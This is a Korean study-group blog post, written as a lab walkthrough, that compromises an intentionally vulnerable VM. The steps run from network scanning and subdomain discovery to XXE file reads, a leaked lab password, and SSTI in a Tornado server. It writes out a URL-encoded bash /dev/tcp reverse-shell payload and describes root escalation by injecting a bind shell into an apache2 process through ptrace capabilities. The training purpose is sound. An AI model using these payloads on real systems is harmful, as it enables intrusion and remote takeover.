SK shieldus Rookies 16/스터디
[맥주는 클라우드 드리프트 팀] 취약한 가상환경 모의해킹 실습
phantom0219
2024. 1. 6. 12:22
진행 중인 가상 환경은 솔루션은 찾지 못하게 가상환경 이름을 수정해서 진행하였습니다.
제가 제작한 보고서 양식
1. 정보 수집
정보수집
- 활성화된 서버를 찾아내야한다.
- 명령어 : (관리자 권한 필요) sudo netdiscover -r 192.168.44.0/24
결과로 4개의 IP주소가 나온다. 그중 192.168.44.132가 취약한 가상 환경 서버로 예측된다.
- Nmap을 돌려 192.168.44.132에서 열린 포트를 스캐닝해 서비스를 찾아내야한다.
- 명령어 nmap -sV -p- 192.168.44.132
- 명령어 설명 : 포트의 범위는 전체로 열린 포트의 서비스까지 검색한다.
- 열린 포트는 53(도메인 이름 서비스), 80(아파치 웹서비스), 9999(Tornado 서비)번 포트이다.
- DNS 포트는 TCP 53번포트와, UDP 53번 포트를 사용한다고 한다.
- 이제 열린 서비스 취약점을 검색
-
- ISC BIND 9.16.1 의 취약점
!인지만 해둘 것
- ISC BIND 9.16.1 의 취약점
- Apache httpd 2.4.41 취약점
-

- moderate: mod\_http2, DoS attack by exhausting h2 workers. (CVE-2019-9517)
- moderate: mod\_http2, read-after-free in h2 connection shutdown (CVE-2019-10082)
- moderate: mod\_http2, memory corruption on early pushes (CVE-2019-10081)
- low: Limited cross-site scripting in mod\_proxy error page (CVE-2019-10092)
- moderate: CVE-2019-10097 mod\_remoteip: Stack buffer overflow and NULL pointer dereference (CVE-2019-10097)
- low: mod\_rewrite potential open redirect (CVE-2019-10098)
- Tornado 6.1(파이썬 웹 프레임워크 이자, 비동기 네트워킹 라이브러리)
2. 서비스 진입
- 열린 http포트 서비스 진입
- 메인 페이지 html 코드의 주석 확인
- 다음 단계에 해야 할 일은 page_no을 GET 메소트도 무차별 대입 공격(Num)을 해야 할 것으로 예상방법 2) 만든 코드
- 방법 1) Burp Suite
- 결론은 page_no 21이 다른 페이지들과 다르다. 따라서 21로 접근한 결과
- dig를 강조하고 있으며 도메인 주소 힌트를 알려준다. 따라서 etc/hosts파일을 수정해준다.
- dig 명령어로 하위 도메인 질의를 한다.(메일 서버로 하나 추측해 볼수 있다. 나중에 자료 추가 예정)
- 추가로 찾은 서브 도메인을 etc/hosts에 추가해준다.
- 추가한 서브도메인인 "hackerkid.blackhat.local"은 계정 생성 페이지다.
- 더미값을 입력시 email부분에서 바응이 존재했다.
- 프록시 툴로 http 분석을 했을시 데이터는 XML형식으로 전달되고 있음을 알 수 있었다.
- xml 타입의 데이터 요청을 전송할때 xml의 외부 엔티티를 처리 할 수 있게 설정 되어있을 경우 XXE취약점을 사용할 수 있다.(주로 LFI(시스템 파일 접근), RFI(외부 파일 참조))
- 따라서 리눅스 시스템의 중요 정보인 /etc/passwd에 접근하기 위해 코드 추가한다.
- 취약점 공격이 잘 이루어졌고 사용자가 saket이 존재한 다는 것과 bash쉘을 사용한다는 것을 알게됨.
- 추가자료) 리눅스에 사용자는 숨긴 파일로 bash와 관련된 파일들이 존재한다. .bashrc는 bash가 수행될 때 실행되는 함수를 제어하는 지역적인 시스템 설정과 관련된 파일이다. 이들의 별칭과 함수는 오직 해당 사용자에게만 한정한다.
공격에 대한 자료 링크 - XXE로 saket의 bash설정을 확인해 보려고 시도했다.
참조하는 파일이 올바른 XML 형식이 아니기 때문에 아무 내용도 출력되지 않는다.
'</>/&'와 같은 XML 특수문자가 섞여 있으면 외부 entity참조가 끊어지게 되기 때문이다. - 따라서 php의 bash64 필터를 통해 정보를 수집했다. base64로 출력된 내용은 burp에서 제공하는 기능을 이용해 디코딩 했다.
- 실행중인 파이썬 프로그램(9999포트의 토네이도 서버?)의 로그인 셋팅 값은 admin/Saket!#$%@!! 이다.
- 따라서 접속을 시도해본다.
- 로그인이 실패되었다. 따라서 유저의 아이디로 재 인증을 시도했다. saket/Saket!#$%@!!
- 로그인이 성공적으로 되었으며, 이름을 물어본다.
- 하지만 이름을 입력할 수 있는 input태그는 존재하지 않았다.
- 또한 합리적 의심으로 아파치 서버에서 계정 생성시 이름을 입력했어야 하는데, 그 형식으로 saket이 작성하지 않았나? 왜 그 이름 정보롤 못가져 오지?라는 것이 의문에 남았다.
- 따라서 get요청으로 name=kali를 넘겨주었고, 서버는 응답을 해주었다.
- 토네디오 서버는 SSTI취약점이 존재한다고 사전조사를 했기에 대표적인
{{ 7*7 }}
를 입력해 보았다. 템플릿 형식으로 주입한 페이로드가 서버에서 실행이 되는 것을 알 수 있었다. - 따라서 리버스 쉘을 url 인코딩을 해서 내 kali로 nc 접속을 시킨다.
-코드 : {%25+import+os+%25}{{os.system('bash+-c+"bash+-i+>%26+%2fdev%2ftcp%2f192.168.10.50%2f9001+0>%261"')}} - kali의 터미널에서 접속을 확인한다.
- 현재 접속된 계정을 확인해 본 결과 saket의 계정으로 접속 된것을 확인할 수 있다.
- uname 커멘드 명령어로 운영체제의 비트를 확인한다. 64비트이다.
- getcap은 리눅스 시스템에서 실행 파일에 대한 기능을 제공하는 명령어이며, 실행 파일에 대해 특정 권한을 설정할수 있기 때문에 확인해본다.
- /sbin/getcap으로 이동해서 실행한다. 2>/dev/null은 오류는 휴지통으로 보낸다라고 이해하면 좋다.
- 여기서 ep = e(효력 부여) + p(허용) 이다.
- 운영중인 프로세스에 PID를 찾기위해 ps -esf 커맨드 명령어를 사용한다.
- 루트로 실행되는 apache2의 PID는 946이다.
- 파이썬 2.7 형식으로 작성되어 있는 인젝터를 다운로드 하고 인젝터 안에 리눅스 64비트 tcp 5600port 86바이트 바인드 쉘을 추가한다.
- 바인드 쉘
- 인젝터
- 인젝터를 실행 시키고 pid는 이전에 조사한 apache2의 PID의 값을 입력한다.
- 마지막으로 kali 터미널에서 서버로 직접 접근한다. 그리고 루트 권한을 확인한다.
- 메인 페이지 html 코드의 주석 확인
반응형